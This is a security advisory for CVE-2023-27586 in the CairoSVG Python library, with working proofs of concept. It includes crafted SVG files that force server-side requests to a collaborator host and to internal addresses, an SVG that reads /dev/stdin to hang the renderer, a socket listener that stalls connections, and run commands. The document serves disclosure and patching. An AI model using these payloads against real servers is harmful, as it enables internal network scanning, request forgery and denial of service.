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SSRF & DOS vulnerability

Critical
liZe published GHSA-rwmf-w63j-p7gv Mar 20, 2023

Package

pip cairosvg (pip)

Affected versions

< 2.7.0

Patched versions

2.7.0

Description

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources.
It looks like this bug can affect websites and cause request forgery on the server.

PoC

  1. Generating malicious svg file:
    1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>

  1. Run some commands:
    $ python3 -m cairosvg CairoSVG_exploit.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png
    $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png

  2. See result requests in Burp Collaborator:
    1

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png
    (without timeout server will hang forever)

DOS vulnerability with stdin file descriptor

Summary

Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file.
It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="file:///dev/stdin" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
    while True:
        data = conn.recv(2048)
s.close()
  1. Run commands:
    $timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L

CVE ID

CVE-2023-27586

Weaknesses

Credits